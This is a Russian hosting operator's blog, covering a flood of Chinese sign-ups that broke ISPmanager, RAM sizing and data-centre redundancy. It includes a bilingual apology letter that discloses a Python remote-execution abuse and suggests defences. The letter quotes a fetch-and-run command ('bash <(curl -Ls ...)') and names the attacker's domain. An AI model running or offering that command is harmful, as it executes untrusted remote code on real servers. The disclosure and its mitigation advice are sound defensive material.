Когда в 2021 сгорел SBG2
Он заявил



Но шли годы — ничего этого не происходило
Я даже как-то иронизировал


Но на новой линейке
Которая уже ДВАЖДЫ разлетелась как пирожки
hosting.show/alice2k-hosting/na-etom-fone-ekzemplyary-do-linode-vultr-stoimostyu-5-vyglyadyat-ustarevshimi-s.html
hosting.show/alice2k-hosting/o-vizhu-v-evrope-poyavitsya-gpu-a-to-tolko-v-rf-bylo-raznoobrazie.html



Бекапы в ОВХ действительно стали БЕСПЛАТНЫ

начало
hosting.show/alice2k-hosting/dlya-kitaycev-nuzhno-sobirat-1-tb-ozu-servery-pohozhe-no-k-sozhaleniyu-takih-staryh-i-nenuzhnyh-poka-esche-net-no-v-2030-budut.html


Сайтов на питоне нет — я все удалил
Нет не одного питон процесса в списке процессов
Но увы — не удаляется.







Короче 1 процесс жрет 60 мб
1 ТБ озу сервер это 1000000 мб
/ 16000 процессов
допустим по 5 процессов на человека
16000/5 = 3200 аккаунтов

И это кстати хороший пример того что означает «слабый хостинг».
Вот я писал много раз про слабые облака или что-ниб еще.
Пришел наплыв заказов — продукт не справился. Так как там было 32 озу 128 озу и 16 озу и 16 озу всего лишь 4 сервера бомжа, для бесплатного то хостинга.
Но любой нормальный хостинг, например таймвеб или регру которые считают себя лидерами должен в запасе иметь думаю около 10 ТБ озу чтобы в случае чего не опозориться.
Тоже самое с ВДС я писал уже ранее

Я конечно своим проебом это не считаю — так как услугу бесплатного хостинга я и не планировал масштабировать. Но если бы я серьезно задумался сделать «хостинг сайтов» то только 10 ТБ озу запаса — только так.

кстати идею с каталогом Авито мне так никто и не реализовал
а ведь если бы существовал такой специальный сайт каталог — железо б/у разлеталось бы как пирожки

начало интересного случая с дырявой ISPmanager
hosting.show/alice2k-hosting/dlya-kitaycev-nuzhno-sobirat-1-tb-ozu-servery-pohozhe-no-k-sozhaleniyu-takih-staryh-i-nenuzhnyh-poka-esche-net-no-v-2030-budut.html

I am writing to take full responsibility for the recent wave of service abuse that has impacted your platform. I am the person who initiated this situation.

Initially, I discovered a method that allowed for arbitrary command execution using Python on your servers. Without considering the potential consequences, I shared this finding within an online community. I severely underestimated the impact this would have, and I never intended for it to lead to widespread malicious activity.

To mitigate any further damage, I have now deleted all the content I posted regarding this method. I want to express my deepest and most sincere apologies for the significant disruption and trouble this has caused.

In an effort to help you secure your platform and make amends, I am providing a detailed analysis of the exploit and a set of actionable recommendations to block this and similar attacks in the future.

Technical Analysis and Recommendations

The attack relies on the ability to download and execute a remote shell script from within a user’s process. The core command being used is: bash <(curl -Ls [REMOTE_SCRIPT_URL]).

Here are several layered defense strategies to prevent this:

Immediate Mitigation: Network Egress Filtering

This is the fastest way to stop the current attack.

Action:
Block Specific Domain: Use your firewall to block all outbound traffic to the domain main.ssss.nyc.mn.
Default Deny Policy (Best Practice): Block all outbound internet access by default and only whitelist essential domains. This prevents attackers from simply moving their script to a new domain.

Core Solution: Restrict the Execution Environment

This is the fundamental, long-term solution.

Action:
Disable Dangerous Functions: In your Python environment, disable dangerous modules like subprocess, os.system, os.popen, etc.
Use Secure Sandboxing: Run user code within a heavily restricted sandbox (e.g., Docker with strict seccomp and AppArmor/SELinux profiles, or technologies like gVisor). The process should run as a low-privilege, non-root user.

Detection and Monitoring

This allows you to detect and respond to threats in real-time.

Action:
Monitor Process Creation: Log and alert whenever a user’s process spawns a shell or network utility (e.g., /bin/bash, curl, wget).
Monitor Network Connections: Log all outbound connections and alert on traffic to suspicious or unknown destinations.

Summary of Recommendations

Strategy: 1. Network Filtering
Implementation Method: Firewall rules to block specific outbound domains/IPs.
Impact: Immediate. Stops the current attack vector.

Strategy: 2. Environment Hardening
Implementation Method: Disable dangerous functions, use sandboxing (Docker, gVisor).
Impact: Strategic. The most robust long-term solution.

Strategy: 3. Detection & Monitoring
Implementation Method: Log and alert on suspicious process/network activity.
Impact: Proactive. Provides visibility for rapid response.

I once again apologize for my irresponsible actions. I hope this technical information is useful for your team and helps you strengthen your platform’s security.

Sincerely,

Я пишу, чтобы взять на себя полную ответственность за недавнюю волну злоупотреблений сервисами, которая затронула вашу платформу. Я являюсь лицом, инициировавшим эту ситуацию.

Изначально я обнаружил метод, позволяющий выполнять произвольные команды с использованием Python на ваших серверах. Не оценивая возможные последствия, я поделился этим открытием в онлайн-сообществе. Я сильно недооценил последствия этого и никогда не подразумевал, что это приведет к широкому распространению вредоносной активности.

Чтобы минимизировать дальнейший ущерб, я удалил весь опубликованный мной контент, касающийся этого метода. Хочу принести свои глубочайшие и самые искренние извинения за значительные сбои и проблемы, которые это вызвало.

Чтобы помочь вам защитить вашу платформу и исправить ситуацию, я предоставляю подробный анализ эксплойта и набор практических рекомендаций по блокированию этой и подобных атак в будущем.

Технический анализ и рекомендации

Атака основана на возможности загрузки и выполнения удаленного скрипта оболочки из процесса пользователя. Основная используемая команда: bash <(curl -Ls [URL_УДАЛЁННОГО_СКРИПТ]).

Вот несколько многоуровневых стратегий защиты для предотвращения этого:

Немедленное смягчение: Фильтрация исходящего сетевого трафика

Это самый быстрый способ остановить текущую атаку.

Действие:
Блокировка определённого домена: Используйте брандмауэр для блокировки всего исходящего трафика в домен main.ssss.nyc.mn.
Политика запрета по умолчанию (рекомендуемая практика): Блокируйте весь исходящий интернет-доступ по умолчанию и добавляйте в белый список только необходимые домены. Это не позволит злоумышленникам просто перенести свой скрипт в новый домен.

Основное решение: Ограничьте среду выполнения

Это фундаментальное долгосрочное решение.

Действие:
Отключите опасные функции: В вашей среде Python отключите опасные модули, такие как subprocess, os.system, os.popen и т. д.
Используйте безопасную песочницу: запускайте пользовательский код в строго ограниченной песочнице (например, Docker со строгими профилями seccomp и AppArmor/SELinux, или такими технологиями, как gVisor). Процесс должен запускаться от имени пользователя с низкими привилегиями, не являющегося пользователем root.

Обнаружение и мониторинг

Это позволяет обнаруживать угрозы и реагировать на них в режиме реального времени.

Действие:
Мониторинг создания процессов: регистрируйте и оповещайте о каждом запуске пользовательским процессом оболочки или сетевой утилиты (например, /bin/bash, curl, wget).

Мониторинг сетевых подключений: регистрируйте все исходящие соединения и оповещайте о трафике, направленном на подозрительные или неизвестные адреса.

Резюме рекомендаций

Стратегия: 1. Фильтрация сети
Метод реализации: правила брандмауэра для блокировки определенных исходящих доменов/IP-адресов.
Воздействие: немедленное. Блокирует текущий вектор атаки.

Стратегия: 2. Укрепление среды
Метод реализации: Отключение опасных функций, использование изолированной среды (Docker, gVisor).
Воздействие: Стратегическое. Наиболее надёжное долгосрочное решение.

Стратегия: 3. Обнаружение и мониторинг
Метод реализации: Регистрация и оповещение о подозрительной активности процесса/сети.
Воздействие: Проактивное. Обеспечивает прозрачность для быстрого реагирования.

Ещё раз прошу прощения за свои безответственные действия. Надеюсь, эта техническая информация будет полезна вашей команде и поможет вам укрепить безопасность вашей платформы.

С уважением,

короче кто-то прорекламировал в китай-нете мой бесплатный хостинг очередную попытку, прошлые бесплатные я закрывал из-за никому ненужности много раз на протяжении 15 лет
который не пользовался спросом и 10 человек может быть отсилы им пользовались

и случился наплыв регистраций
ранее уже было что-то такое, под XRAY VPN
но там было человек 20-30 с китая не более

в тот раз я пытался залимитировать какой-то Xray но не удалось
пришлось просто из тех 30 человек забанить половину и все

в этот раз зарегистрировалось аж почти 2000 человек






собственно ISPmanager не смогла даже создать 500 аккаунтов и уже зависла сразу померла
но в этот раз китайцы устанавливали Питон приложения или Node-JS приложения
hosting.show/alice2k-hosting/u-ispmanager-snova-utechki-bagov---limity-v-paneli-ne-rabotayut.html

сначала я подумал что это клоны и боты
но нет, это все реальные люди
и даже часть из них потом после регистрации когда поняла что «нихуя бесплатный хостинг не выдается»
просто хотела удалить свой аккаунт
23 человека хотели удалиться


в данном случае мой бесплатный хостинг с 32 озу серверами бомжами от ОВХ по 10 евро или 128 озу даже ненужным на коло в москве — не справился с задачей
я бы раздал каждому китайцу по 100 мегабайт на 1 аккаунт ISPmanager — мне не жалко
но как мы поняли — ISPmanager не умеет лимитировать ОЗУ

поэтому теперь останется ждать когда старые серверы на 768 озу или даже 1 ТБ — станут морально старые и гнилые
и потом когда-ниб
мы еще вернемся к бесплатному хостингу для китайцев

если бы биллинг умел в аналитику

я бы узнал откуда они пришли
но к сожалению понятия не имею где кинули ссылку на мой проект

rossetimr.ru/press/company_news/item252508.php

С начала 2025 года «Россети Московский регион» выявили 145 663 нелегальных проводов волоконно‑оптических линий связи (ВОЛС), размещённых на опорах линий электропередачи компании. По словам «Россетей», захламлённость опорных сооружений незаконными проводами мешает проведению плановых и восстановительных работ, а также создаёт угрозу стабильной работе электросетевого оборудования.

Мы в 2001-2006 годах когда в школе еще учились
Спиливали будучи школьниками замки на проход на крышу домов и сами там витую пару прокладывали
И строили домовые районные локальные сети
А на новостройках того времени еще обычно спутниковый интернет ставился в складчину и как раз его потом раздавали по локалке

Потом все эти сети у нас отобрали «местные интернет провайдеры»

В прошлый раз абузили Xray
hosting.show/alice2k-hosting/ispmanager-ne-rabotayut-limity.html

Теперь еще какую-то Node-js парашу


Т.к. в супер крутой ПЛАТНОЙ СУКА панели ОТСУТСВУЮТ ЛИМИТЫ НА ЭТИ НОВОМОДНЫЕ ХУЙНИ

пришлось их нахуй отключить
hosting.kitchen/yacolo-com/udalyaem-nenuzhnye-funkcii-kotorye-ispolzuyutsya-tolko-dlya-zloupotrebleniya-chtoby-polozhit-ves-server-cherez-utechku-ozu-v-sovremennoy-ispmanager-6.html

1. ISPmanager 4 pro — была самая охуенная там были четкие функции и четкие настройки
2. ISPmanager 5 lite — была охуенная не было никаких лимитов, но и не было говно функций лишних
3. ISPmanager 6 host (бывшая max lite которую зачем-то превратили в host) — зачем-то добавила в панель для сайтов какой-то VPN, зачем-то сделала там функукции которые обычно на VDS работают — и стала говно панелью

сначала идет бордер какой-то
по идее их должно быть два

и тут у меня вопрос
вот допустим «здание» захотело провести 10 отдельных независимых провайдеров проводов
значит нужно 10 бордеров или все 10 проводов можно воткнуть в 1 устройство
вероятно можно в 1 устройство воткнуть, но просто разделить условный провод на 2 части, чтобы задублировать через «2 устройства»

сейчас не буду вдаваться в конкретику т.к. все равно не наша зона ответственности
но предположим что у дата-центров все сделано правильно и задублировано хоть по 10 бордерам, хоть по 2 с 10 провайдерами условными. может у кого-то и 100 провайдеров есть даже в дата-центре хз. эти все вопросы я потом изучу когда буду делать свой каталог дата-центров и записывать все эти нюансы в новом блоге о дата-центрах

потом короче от бордера идет провод до маршрутизатора
оттуда уже идут провода на коммутаторы

и вот получается значит везде всего должно быть по 2
значит в условном здании должно быть 2 основных маршрутизатора
потом в условном «зале» должно быть 2 основных коммутатора
потом из зала идут провода на «ряд» — там тоже 2 основных коммутатора под ряд
потом уже в «стойке» тоже должно быть 2 коммутатора на стойку

так вот, как же это работает
получается вот пусть будет по 48 портов устройство
значит 24 порта будут заняты для того чтобы тупо воткнуться в запасной коммутатор. когда 2 коммутатора соединены проводом просто друг с другом, чтобы был дубликат если один вышел из строя.
так же 2 порта будут заняты основные которые от маршрутизаторов. вероятно даже 4 порта, т.к. маршрутизатора то тоже 2 шт.
получается на сервер остается всего 50% от коммутаторов
50% с первого
50% с второго
а так же серверы еще должны иметь 2 сетевые карты, не так ли
чтобы сервер был сразу подключен к обоим коммутаторам
именно так же делают дубликат или как-то еще
собственно если делать везде 100г порты то железки идут дороже чем старые форм факторы.
но это не так дорого по сравнению с другими частями расхода на «сами серверы»
и мне кажется вполне выполнимо любыми компаниями которые считают себя топ50 рынка

далее что еще вот допустим ряд. ряды идут до главных. пусть даже по 2 штуки все дублируется.
я вижу что есть два варианта создания. когда каждая стойка напрямую подключается к более главным. и когда к главным подключается первая стойка, а потом все следующие стойки к первой и последовательно друг за другом. это как бы экономит провода и порты. но а если где-то в середине ряда сломался коммутатор. то получается, что нужно еще каждую стойку с соседней стойкой дублировать и к первой линии и к второй линии. чтобы если на одном из каналов затык, то происходило переключение на вторую линию. хуй знает что проще, делать длинные провода или вот так вот обе линии пересекать в каждой стойке. тут скорее уже вопрос оптимизации, кому-то не жалко будет и кучу проводов натолкать прямо до всех главных от каждой стойки.

далее в здание должно быть заведено 2 отдельных электрических луча от разных поставщиков энергии и чтобы они еще шли не под одному каналу, чтобы этот канал трактор не мог перерезать сразу оба провода (тоже самое и с оптиками с теми 10 ил 100 штуками провайдерами должны быть вырыты отдельные линии чтобы тракторы не могли резать сразу все)
потом тоже самое как с интернетом дублируется по объектам уже
получается на стойку так же выходит 2 линии
получается сервер должен еще иметь 2 БП чтобы подключиться потом на 2 линии
получается что опять же кол-во розеток в стойке тоже сокращется на 50% либо там нужно уже не 2 длинных ПДУ, а 4 ПДУ ставить
тоже самое еще и с ИБП в том числе. но нужны ли ИБП в принципе если у тебя 2 линии горячих работают. возможно ИБП в данном случае и не нужны. не могут же 2 линии автоматически отрубиться. но если эти станции зависят от «района», то вполне вероятно может быть авария полная на районе и отключит всех поставщиков. и тогда ИБП пригодятся. поэтому тут вроде как не нужная вещь, но и не помешает чтобы было. далее еще про дизеля можно поговорить тоже самое ставить по 2 штуки на объект который они запитывают по кол-ву мощности.
все таки энергия — это ответственность дата-центра и здания.
а вот интернет провайдеры — это ответственность хостера мне кажется, нормальный хостер когда свои стойки формирует должен сразу делать нормальных провайдеров в нормальном кол-ве. иначе он не имеет права называться отказоустойчивый. ну и выбирать ДЦ где можно 2 БП на 2 линии подключать в том числе. но вот дизеля всякие это уже вопрос не к хостеру. хотя возможно в каких-то случаях хостер может сам купить для своего зала нужное кол-во резерва, если это ему действительно важно. другой вопрос что дата-центр наверное не продаст, поэтому скажет пошел ты нахуй, иди сам строй свой дц и делай как нравится. варианты могут быть разные как часть ДЦ работает от одного ввода, а часть дц работает от двух вводов или четырех или сколько там кто напихивает. разные сегменты дата-центра под разные виды услуг.

далее потом уже идет софтверное резервирование на уровне хостера
например облачные функции бекапов, сетевых стораджей, san-lun дисков и тому подобное
или как делают в селектел еще серверы разбивают по разным стойкам и в личном кабинете подписываются номера стоек, и клиент при желании может все свои серверы разбить по абсолютно разным стойкам. если вдруг ломается что-то внутри стойки. почему они кстати это сделали? возможно потому что у них нету дубликатов на стойках. ведь если бы были то смысла напоминать о резерве клиенту не было бы. хуй его знает, ведь на сайте то они никак не написали об том, как у них что устроено. а может быть у них есть, но еще и лишнее напоминание клиенту о возможностях собственного резервирования чтобы «уж точно наверняка»

процессор материнку озу ты никак не продублируешь поэтому это просто запасной сервер
думаю это все
или есть еще какие-то варианты надежности?
пока клиент нубас он с легкостью хавает любой маркетинг. но чем больше лет проходит, чем больше знаний он получает — тем сильнее в его голове складывается понятие надежность. и он понимает что покупает услугу у ненадежного хостера на свой страх и риск. хотя когда-то 10 лет назад он считал что поставщики обязательно должны быть надежны иначе и быть не может. поэтому вот такая информация подробно расписанная — это плюс к продажам и лояльности клиентов, я так считаю. да можно сказать «у нас ничего этого нет» и все равно будут так же лояльные клиенты, но зато и вы чувствуете себя не пиздаболами а честными поставщиками. и если у вас что-то сломается вы так и скажете — а мы же писали у нас нихуя нет. и никто о вас даже и плохого слова не скажет. вот что значит «честная публичная информация»

вот собственно у вас в стране все так делают?
или это мои фантазии
почему никто раньше не показывал фотки серверов? боялись что-то показать.
почему сейчас никто не пишет на сайтах о «отказоустойчивости»? потому что ее наверное нет.
существует ли хоть один дата-центр описанный как в моем топике? или это фантастика и в реальности все везде работает «до первого трактора» или «первой аварии». но удачно так работает и по 15 лет потому что аварии подобные могут и никогда вовсе не случиться, человек быстрее умрет от старости чем такое произойдет.
поэтому так же встает вопрос о том, а нужна ли отказоустойчивость вообще. но это уже другое рассуждение.

но короче что я хотел сказать
когда клиент условный слышит где-то слово отказоустойчивость он думает именно о том, о чем я сейчас написал.
а вот что имеет ввиду поставщик который рекламирует себя как отказоустойчивое решение — это загадка, уверен, все люди, все компании, все дата-центры имеют АБСОЛЮТНО разные понятия вложенные в это слово.

смотрите вот купили вы сервер какой-то
если в нем сгорел кулер или вода или диск — можно заменить нет проблемы
но если там сломался процессор или озу или материнская плата — это как раз 3 запчасти которые делают 75% стоимости сервера
если любая из этих 3 деталей умерла
то вероятнее всего проще такие серверы — не чинить, а оставлять как раз под запасные части на будущее
потому что во первых пройдет уже 2-3 года прежде чем что-то сгорит или сломается, за 3 года на рынке будут уже более современные процессоры и модели железа. поэтому нет смысла чинить старые форм факторы, проще «юнит место» забить уже новым форм фактором
я прав?
хуй знает, такой мой вывод